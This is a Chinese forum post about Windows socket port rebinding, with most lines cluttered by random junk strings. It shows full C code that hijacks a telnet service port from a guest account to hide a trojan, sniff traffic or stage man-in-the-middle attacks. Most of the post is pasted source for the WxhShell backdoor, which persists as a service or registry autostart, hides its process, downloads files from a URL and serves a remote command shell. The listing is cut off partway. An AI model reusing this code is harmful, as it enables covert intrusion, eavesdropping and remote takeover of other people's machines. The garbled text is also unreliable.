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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 7cy+Nz  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 8|fLe\"  
D<lQoO+  
  saddr.sin_family = AF_INET; oD Q9.t  
Zjw!In|vC  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 02;f2;I  
{(8U8f<'=y  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); YWybPD4\(  
 >cC Gx  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 721{Ga4~S  
v/QEu^C  
  这意味着什么?意味着可以进行如下的攻击: i/l!Cr2  
[P(rY  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 -9hp+0 <  
oNh68ON:c  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 7uWJ6Wk  
 zjZ;xn  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 W*1d X"S  
#i'C  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  T2;v<(  
.~FKyP>[$  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 #JHy[!4  
(jD'+ "?  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。  zZS>+O  
J r=REa0  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 oHv{Y  
@2-Hj~  
  #include s|fCR  
  #include 1jR=h7^=  
  #include S.zg&   
  #include    ,<R>Hiwg/s  
  DWORD WINAPI ClientThread(LPVOID lpParam);   WRN8#b  
  int main() WsG"x>1n  
  { 7-g]A2N  
  WORD wVersionRequested; $%N;d>[U,  
  DWORD ret; 3sd{AkD^  
  WSADATA wsaData; P2A]qX  
  BOOL val; JNU"5sB  
  SOCKADDR_IN saddr; ?GaI6?lbn  
  SOCKADDR_IN scaddr; }[XB]Xf  
  int err; 5P5A,K  
  SOCKET s; &"@HWF  
  SOCKET sc; 3:l:~Vn  
  int caddsize; 5?#OR!N  
  HANDLE mt; jV(xYA3  
  DWORD tid;   1R^XWAb  
  wVersionRequested = MAKEWORD( 2, 2 ); nsM>%+o  
  err = WSAStartup( wVersionRequested, &wsaData ); ze#rYNvo/  
  if ( err != 0 ) { Ngm O0H  
  printf("error!WSAStartup failed!\n"); \}]=?}(  
  return -1; 9&|12x$  
  } wdN>KS2!  
  saddr.sin_family = AF_INET; <-Kb@V3  
   p 02nd.R6  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 UBUB/N Y  
^VM"!O;h{  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); o>/uW8  
  saddr.sin_port = htons(23); s= -WB0E  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) i} NkHEK  
  { E< io^  
  printf("error!socket failed!\n"); Mo:!jS~a(Z  
  return -1; E-BOIy,  
  } yhw:xg_;Kz  
  val = TRUE; \UkNE5  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Pl>nd)i`  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) d=xI   
  { ;L\!g%a  
  printf("error!setsockopt failed!\n"); {Oc?C:aI=  
  return -1; t(uB66(_F  
  } S20 nk.x  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; '/gxjr&  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 #'G7mAoA  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 2yi*eR  
B J:E,P`_  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 2ZTyo7P  
  { #Of<1  
  ret=GetLastError(); #2ZrdD"5kQ  
  printf("error!bind failed!\n"); ;:8jxkx6%  
  return -1; e$p1Th*|]4  
  } Sh~ 8jEk  
  listen(s,2); JWUv H  
  while(1) 1%]{0P0?[  
  { kp#c:ym  
  caddsize = sizeof(scaddr); W[jW;uk  
  //接受连接请求 +Zty}fe  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); oJ4mxi@|#  
  if(sc!=INVALID_SOCKET) ';fU.uy  
  { dcrJ,>i}  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); C[J`x>-K  
  if(mt==NULL) b}EYNCw_7S  
  { (|ct`KU0#  
  printf("Thread Creat Failed!\n"); lyOrM7Gs  
  break; y<'2BTf  
  } bSeL"   
  } $Nt]${0  
  CloseHandle(mt); #C=L^cSx(  
  } 2S7H_qo$  
  closesocket(s); m\}\RnZu  
  WSACleanup(); =oKPMmpCZ  
  return 0; <Vr] 2mw  
  }   lhIr]'?l  
  DWORD WINAPI ClientThread(LPVOID lpParam) c!(~BH3p  
  { wFoR,oXtL/  
  SOCKET ss = (SOCKET)lpParam; U# FJ8CD&u  
  SOCKET sc; LzEE]i  
  unsigned char buf[4096]; ~3*ZG  
  SOCKADDR_IN saddr; >m;|I/2@  
  long num; rt\<nwc  
  DWORD val; l+3%%TV@L  
  DWORD ret; &a2V-|G',  
  //如果是隐藏端口应用的话,可以在此处加一些判断 T^=Ee?e  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   %;"B;~  
  saddr.sin_family = AF_INET; b/D9P~cE  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); u[6`Jr~  
  saddr.sin_port = htons(23); ]( U%1  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) E%J7jA4  
  { e) /u>I  
  printf("error!socket failed!\n"); yW6[Fpw  
  return -1; a s<q  
  } rTH[?mkf4  
  val = 100; ?XTg%U  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |]2eGrGj4  
  { 3Oig/KZ  
  ret = GetLastError(); Yf2+@E  
  return -1; |Z^c #R  
  } )lngef /D_  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) WSpg(\Cs  
  { (>Q9jNW  
  ret = GetLastError(); 6Kv}2M')+  
  return -1; ?`[ uh%  
  } ~1wdAq`'a  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) >FMT#x t  
  { TF}4X;3Dsy  
  printf("error!socket connect failed!\n"); 5)SZd)  
  closesocket(sc); '\E*W!R.]  
  closesocket(ss); NId~| &\  
  return -1; mGyIr kE  
  } oE|{|27X  
  while(1) `$x#_-Hn  
  { o._#=7|(  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 7+Jma!o  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 h+'eFAZ  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 %N_S/V0`  
  num = recv(ss,buf,4096,0); Ll E_{||h  
  if(num>0) G~$M"@Q7N  
  send(sc,buf,num,0); li'1RKr  
  else if(num==0) 0.+Z;j  
  break; g9r5t';  
  num = recv(sc,buf,4096,0); W0?Y%Da(4m  
  if(num>0) 51(`wo>LS  
  send(ss,buf,num,0); d=5}^v#4  
  else if(num==0) WUOPYYW<o  
  break; $P}]|/Yb  
  } F*jj cUk  
  closesocket(ss); '>WuukC  
  closesocket(sc); YvP"W/5  
  return 0 ; Qmc;s{-r;  
  } .Mft+,"  
`\u),$  
[{!j9E?(  
========================================================== $E@.G1T [  
- 9<yB  
下边附上一个代码,,WXhSHELL /*p?UW<*4  
6Bq2?;5  
========================================================== Qc =lf$  
8!fAv$g0  
#include "stdafx.h" hu*>B  
%IH|zSr)EM  
#include <stdio.h> ", Rw%_  
#include <string.h> sT"tS>  
#include <windows.h> D!E 9@*Lf  
#include <winsock2.h> ]B.,7  
#include <winsvc.h> .gsu_N_v  
#include <urlmon.h> KL\=:iWA  
$=g.-F% *=  
#pragma comment (lib, "Ws2_32.lib") rxK[CDM,  
#pragma comment (lib, "urlmon.lib") Cq;K,B9  
<IkD=X  
#define MAX_USER   100 // 最大客户端连接数 rpP+20v  
#define BUF_SOCK   200 // sock buffer YHv,Z|.w  
#define KEY_BUFF   255 // 输入 buffer MVU'GHv  
iO=uXN1g  
#define REBOOT     0   // 重启 Ue\oIi  
#define SHUTDOWN   1   // 关机 2dJ)4  
`r0 qn'*  
#define DEF_PORT   5000 // 监听端口 n7!Lwq2  
lJQl$Wx^  
#define REG_LEN     16   // 注册表键长度 7)It1i-  
#define SVC_LEN     80   // NT服务名长度 \U  =>  
28qWC~/9  
// 从dll定义API 8P y_Y>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); DdZ_2B2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `YU:kj<6  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &#\7w85$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5}^08Xl  
L5|;VH  
// wxhshell配置信息 SE-, 1p  
struct WSCFG { K~~*M?.Z  
  int ws_port;         // 监听端口 bzL;)H4Eo  
  char ws_passstr[REG_LEN]; // 口令 ,?N_67  
  int ws_autoins;       // 安装标记, 1=yes 0=no V`&*%xgGR  
  char ws_regname[REG_LEN]; // 注册表键名 l{SPV8[i  
  char ws_svcname[REG_LEN]; // 服务名 dE!=a|Pl  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 EjCzou  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 -+2xdLa63  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 d1_*!LW$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no JRs[%w`kD  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" uC ;PP=z  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 q@yabuN@,j  
_I"<?sh 3  
}; -hV KPIb  
*ww(5 t  
// default Wxhshell configuration FJH8O7  
struct WSCFG wscfg={DEF_PORT, Y`p&*O  
    "xuhuanlingzhe", ] Lft^,7  
    1, y/*Tvb #TJ  
    "Wxhshell", =@/^1.`  
    "Wxhshell", [*E.G~IS`  
            "WxhShell Service", wbKBwI5w  
    "Wrsky Windows CmdShell Service", !x / Z"  
    "Please Input Your Password: ", Pb&+(j  
  1, Jy NY *  
  "http://www.wrsky.com/wxhshell.exe", &IY_z0=  
  "Wxhshell.exe" ' "p*FN  
    }; _@?Jx/`;bk  
03\8e?$  
// 消息定义模块 90k|u'ikOp  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [4yQbqe;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 0s[3:bZ\Ia  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; tF1%=&ss  
char *msg_ws_ext="\n\rExit."; wD Y7B  
char *msg_ws_end="\n\rQuit."; T}x%=4<E  
char *msg_ws_boot="\n\rReboot..."; k"-#ox!  
char *msg_ws_poff="\n\rShutdown..."; eC:Q)%$%l  
char *msg_ws_down="\n\rSave to "; iz5wUyeg  
9rc n*sm  
char *msg_ws_err="\n\rErr!"; j@\/]oL^We  
char *msg_ws_ok="\n\rOK!"; k$- q; VI  
Eu~wbU"%  
char ExeFile[MAX_PATH]; JU+'UK630  
int nUser = 0; KftM4SFbK  
HANDLE handles[MAX_USER]; Pu*UZcXY  
int OsIsNt; |W];v@b\y  
eV}Tx;1|}  
SERVICE_STATUS       serviceStatus; RxG./GY  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @n'ss!h  
YQsc(6  
// 函数声明 Y|jesa {x  
int Install(void); `;GGuJb \  
int Uninstall(void); dR{ V,H7N  
int DownloadFile(char *sURL, SOCKET wsh); m3e49 bP  
int Boot(int flag); LZ:\V)5+  
void HideProc(void); ZO$T/GE6%  
int GetOsVer(void); 5ml}TSMu'  
int Wxhshell(SOCKET wsl); n:] 1^wX#  
void TalkWithClient(void *cs); =x]dP.  
int CmdShell(SOCKET sock); rs+37   
int StartFromService(void); 1D DOUV  
int StartWxhshell(LPSTR lpCmdLine); 8Y'"=!3  
cYS+XBz  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); eR;0pWVl  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?LM'5  
f_Bf}2Eedj  
// 数据结构和表定义 DMW:%h{  
SERVICE_TABLE_ENTRY DispatchTable[] = (fb\A6  
{ Lwk-  
{wscfg.ws_svcname, NTServiceMain}, W4Q]<<6&  
{NULL, NULL} '" yl>"  
}; =_3qUcOP  
vH8%a8V  
// 自我安装 ]iX$p~riH  
int Install(void) Rj= Om  
{ DlO;EH  
  char svExeFile[MAX_PATH]; (LPD  
  HKEY key; S`.-D+.68  
  strcpy(svExeFile,ExeFile); F\72^,0  
 I ^92b  
// 如果是win9x系统,修改注册表设为自启动 IbwRb  
if(!OsIsNt) { pSUp"wch  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ZK*aVYnu  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y$NG..S  
  RegCloseKey(key); _.LWc^Sg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z|H>jit+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @U5>w\  
  RegCloseKey(key); NDG Bvb  
  return 0; )Cfrqe1^  
    } +2O_LPV$,  
  } rNp#5[e  
} Xpwom'  
else { MqH~L?~}|  
z6(Q 3@iO  
// 如果是NT以上系统,安装为系统服务 Ba~Iy2\x  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4VgDN(n0@  
if (schSCManager!=0) P^-9?u Bno  
{ #IDCCD^1=  
  SC_HANDLE schService = CreateService ^123.Ru|t  
  ( w7u >|x!  
  schSCManager, `$-  Ib^  
  wscfg.ws_svcname, )FPbE^s(  
  wscfg.ws_svcdisp, m,O !M t  
  SERVICE_ALL_ACCESS, E~^'w.1  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ="K>yUfcFl  
  SERVICE_AUTO_START, ObzlZP r@  
  SERVICE_ERROR_NORMAL, ry"zec B  
  svExeFile, (7,Awf5D~  
  NULL, P#PQ4uK \  
  NULL, ?Pc 3*.  
  NULL, p7er04/}\  
  NULL, BZ9iy~  
  NULL "dTXT  
  ); ~yN,FpD  
  if (schService!=0) yjzNU5F  
  { Xi.?9J`@  
  CloseServiceHandle(schService); 2O/_hv.  
  CloseServiceHandle(schSCManager); 3s2M$3r)6  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,pz CJ@5  
  strcat(svExeFile,wscfg.ws_svcname); *Cw2h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { |&7,g  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); gG>>ynn  
  RegCloseKey(key); AF6'JxG7  
  return 0; ba13^;fm#  
    } H=C;g)R  
  } P+h&tXZn8  
  CloseServiceHandle(schSCManager); 67?5Cv  
} G]CY3xw98  
} H;1}Nvvd  
;\N*iN#K  
return 1; $EF@x}h:A  
} d .A0(*k,  
oDa{HP\O]W  
// 自我卸载 TZg7BLfy  
int Uninstall(void) _!7o   
{ |sz9l/,lG  
  HKEY key; (i8 t^  
.>n|#XK  
if(!OsIsNt) { bE~lc}%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { k7*q.20  
  RegDeleteValue(key,wscfg.ws_regname); $'q(Z@  
  RegCloseKey(key); nCU4a1rZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L_,U*Jyo  
  RegDeleteValue(key,wscfg.ws_regname); jLSZ#H  
  RegCloseKey(key); 0J~4  
  return 0; ~@JC1+  
  } & j43DYw4  
} 7}k8-:a%  
} hr5)$qZW  
else { 43XuQg4  
wG O)!u 4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); c3##:"wr  
if (schSCManager!=0) S J5kA`  
{  s25012  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); SCij5il%  
  if (schService!=0) VzesqVx  
  { 5oS\uX|  
  if(DeleteService(schService)!=0) { o6 /?WR9  
  CloseServiceHandle(schService); Cmj)CJ-  
  CloseServiceHandle(schSCManager); q@:&^CS  
  return 0; LxT] -  
  } YVT^}7#  
  CloseServiceHandle(schService); @zbXG_J  
  } }8HLyK,4  
  CloseServiceHandle(schSCManager); AM>:At Y  
} :z\STXq  
} \+xsJbEV  
4"sP= C  
return 1; c'b,=SM  
} ~"k'T9QBY  
D6w0Y:A{.  
// 从指定url下载文件 ;QYK {3R?  
int DownloadFile(char *sURL, SOCKET wsh) q)*0G*  
{ ArY'NE\Htt  
  HRESULT hr; Z>l>@wNm  
char seps[]= "/"; L6^h3*JyD  
char *token; art{PV4-  
char *file; /03>|Juo  
char myURL[MAX_PATH]; r`2& o  
char myFILE[MAX_PATH]; \ (,2^T'$J  
,P}c92;  
strcpy(myURL,sURL); L6m'u6:1{  
  token=strtok(myURL,seps); Nu'rn*Y_  
  while(token!=NULL) Q*he%@w  
  { y_6HQ:  
    file=token; o#i {/# oF  
  token=strtok(NULL,seps); =u(fP" |{  
  } yFSL7`p+  
^|Y!NHYH$Z  
GetCurrentDirectory(MAX_PATH,myFILE); -LyIu#  
strcat(myFILE, "\\"); U:Y?2$#  
strcat(myFILE, file); h>wU';5#f  
  send(wsh,myFILE,strlen(myFILE),0); bm;4NA?Gg  
send(wsh,"...",3,0); * XJSa  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); i+;E uHf  
  if(hr==S_OK) :O7J9K|  
return 0; _PIk,!<  
else d1-QkW^0y  
return 1; b}fH$.V@  
Z]tz<YSkG  
} \4ZQop  
wQ5__"D  
// 系统电源模块 yC[}gHv  
int Boot(int flag) %9j]N$.V  
{ C.@TX  
  HANDLE hToken; G.Q+"+* ^  
  TOKEN_PRIVILEGES tkp; 8PQt8G.  
/=N`P &R#  
  if(OsIsNt) { ,0~=9dR  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); T4[eBO  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \m<*3eS  
    tkp.PrivilegeCount = 1; PJ'l:IU  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; B4kIcHA  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); B4hR3%  
if(flag==REBOOT) { 0^+W"O  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [(C lvGx  
  return 0; KLX>QR@  
} 99`xY$  
else { c0@v`-9  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 344- ~i*  
  return 0; 5q\]]LV>  
} TtzB[F  
  } [Y[|:_+5  
  else { fA8 ,wy|>  
if(flag==REBOOT) { ?g 3sv5\u  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) j'Fni4;  
  return 0; ^dro*a,  
} /#tOi[0[  
else { U-@\V1;C  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 8W{R&Z7aL  
  return 0; &:rf80`z.  
} EB \\ F  
} ]]+"`t,-  
O?@AnkOhn  
return 1; s^cHR1^  
} [8ih-k  
o.,hCg)X  
// win9x进程隐藏模块 C`fQ` RL\  
void HideProc(void) }u :sh >2  
{ m 9r X  
(UCWSA7oc  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); oZQu&O'  
  if ( hKernel != NULL ) hT<v8  
  { Z',pQ{rD  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7>#74oy  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); d4lEd>Ni  
    FreeLibrary(hKernel); N)QW$iw9  
  } &W1cc#(  
r'&VH]m  
return; ;X8eZQ  
} #jQITS7  
lyP<&<Y5  
// 获取操作系统版本 RJ`F2b sYN  
int GetOsVer(void) -0Ps. B  
{ '2eggX%  
  OSVERSIONINFO winfo; [l0>pHl@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); OmsNo0OA  
  GetVersionEx(&winfo); YtFtU;{  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) uKK+V6}!kj  
  return 1; *t63c.S  
  else Up~#]X  
  return 0; &U:;jlST9  
} $aEL>, X  
\]zH M.E1  
// 客户端句柄模块 u-D%: lz85  
int Wxhshell(SOCKET wsl) Ay[6rUO  
{ 8/k* "^3  
  SOCKET wsh; F8q|$[nH  
  struct sockaddr_in client; %5'6^bT  
  DWORD myID; tks1*I$S<  
&4LrV+`$V  
  while(nUser<MAX_USER) +5voAx!  
{ h DCR>G  
  int nSize=sizeof(client); |Gz(q4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?e0ljx;  
  if(wsh==INVALID_SOCKET) return 1; F&^u1RYz  
q.*k J/L  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);  eGjEO&$  
if(handles[nUser]==0) s~3"*,3@  
  closesocket(wsh); {>9vm!<[*\  
else `2G 0B@  
  nUser++; ^)TZHc2a[  
  } D KR2b`J  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); dj 4:r!5_  
29:] cL(5  
  return 0; .^eajb`:  
} {;q zz9 |  
"d% o%  
// 关闭 socket w~Aw?75 t  
void CloseIt(SOCKET wsh) v#TU7v?~  
{ N^v"n*M0|  
closesocket(wsh); ?|kwYA$4o  
nUser--; C h>r.OfP  
ExitThread(0); )m|)cLT&  
} f]Xh7m(Gh  
UZz/v#y~  
// 客户端请求句柄 `f S$@{YI_  
void TalkWithClient(void *cs) ]@0C1 r  
{ wt]onve}%  
`p#tx.o  
  SOCKET wsh=(SOCKET)cs; K|]/BjB/  
  char pwd[SVC_LEN]; *mby fu0q  
  char cmd[KEY_BUFF]; ;?4EVZ#o  
char chr[1]; %py3fzg  
int i,j; T,r?% G{XE  
FN\*x:g  
  while (nUser < MAX_USER) { Xh+;$2l.B  
Q WcQtM  
if(wscfg.ws_passstr) { Zjd9@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R.(PZCvS  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ir#]p9:x  
  //ZeroMemory(pwd,KEY_BUFF); [>![ViX  
      i=0; lha)4d  
  while(i<SVC_LEN) { |h%=a8  
?fW['%  
  // 设置超时 /*P) C'_M  
  fd_set FdRead; s5h}MXIXw  
  struct timeval TimeOut; MroN=%|t  
  FD_ZERO(&FdRead); xIA]5@;a  
  FD_SET(wsh,&FdRead); OY Sq)!:  
  TimeOut.tv_sec=8; 'h R0JXy  
  TimeOut.tv_usec=0; GHY+q{'#V_  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ZmI0|r}QbY  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); f*}}Az.4  
"%lIB{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xqs ,4bcbY  
  pwd=chr[0]; ijP `fM8  
  if(chr[0]==0xd || chr[0]==0xa) { .exBU1Yk@  
  pwd=0; uP G\1  
  break; ml@;ngmp.  
  } `J] e.K  
  i++; #lR-?Uh  
    } $Q"D>Qf{G  
'Fy"|M;2  
  // 如果是非法用户,关闭 socket (\ge7sE-oo  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); t0,=U8]w  
} tq}MzKI*  
ClG\Kpi rh  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); x ]">  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p]0`rf!|  
x$;RfK2&p  
while(1) { ,p{naT%R  
Dj>eAO>  
  ZeroMemory(cmd,KEY_BUFF); djH&)&q!  
eR%\_;}7;  
      // 自动支持客户端 telnet标准   Qk? WX (`B  
  j=0; 4C/G &w&  
  while(j<KEY_BUFF) { d a<>a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4%2APvLW  
  cmd[j]=chr[0]; , # =TputM  
  if(chr[0]==0xa || chr[0]==0xd) { s_  t/  
  cmd[j]=0; @R%* ;)*F  
  break; tn#cVB3  
  } fLnwA|n=  
  j++; O}>@G  
    } l^Ob60)2  
|.VSw  
  // 下载文件 ^s6}[LDW>@  
  if(strstr(cmd,"http://")) {  9u^M{6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); qg{gCG  
  if(DownloadFile(cmd,wsh)) <rtKPlb//  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); /5)*epF+  
  else D(l,Z  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *?BY+0  
  } !NH(EWER  
  else { -'Ay(h   
rRg,{:;A  
    switch(cmd[0]) { D'<L6w`  
  f";pfu_FZ  
  // 帮助 ;89kL]  
  case '?': { ,VS(4  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )7 q"l3e"u  
    break; ~n- Px)  
  } OHi.5 (  
  // 安装 +}O -WX?  
  case 'i': { #B<EMGH  
    if(Install()) }[Z'Sg]s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g3].STz6w  
    else gu3iaM$W  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Mh*r)B~%[  
    break; dzEi^* (8  
    } K(i}?9WD  
  // 卸载 h~7#$i  
  case 'r': { pd:7K'yaw  
    if(Uninstall()) "h#R>3I1)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g:z<CSIq/  
    else A+="0{P  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -Y@tx fu-  
    break; 9Q=VRH:  
    } R|n  
  // 显示 wxhshell 所在路径 "aOs#4N  
  case 'p': { RqgN<&g?  
    char svExeFile[MAX_PATH]; UB.1xcI  
    strcpy(svExeFile,"\n\r"); S s+F  
      strcat(svExeFile,ExeFile); &J)<1!|  
        send(wsh,svExeFile,strlen(svExeFile),0); >=[uLY[aK  
    break; Yy88 5  
    } &1$d`>fn  
  // 重启 ux<|8S  
  case 'b': { QkBw59L7  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8@;]@c)m  
    if(Boot(REBOOT)) f^FFn32u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mY.v:  
    else { >G:Q/3jh  
    closesocket(wsh); -N8rs[c  
    ExitThread(0); rZKfb}ANQ  
    } |Y>Jf~SN  
    break; WeM38&dWY  
    } hyH[`wiq  
  // 关机 =vbG'_[7  
  case 'd': { o]4]fLQ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); v>_@D@pr  
    if(Boot(SHUTDOWN)) e0TYHr)X>3  
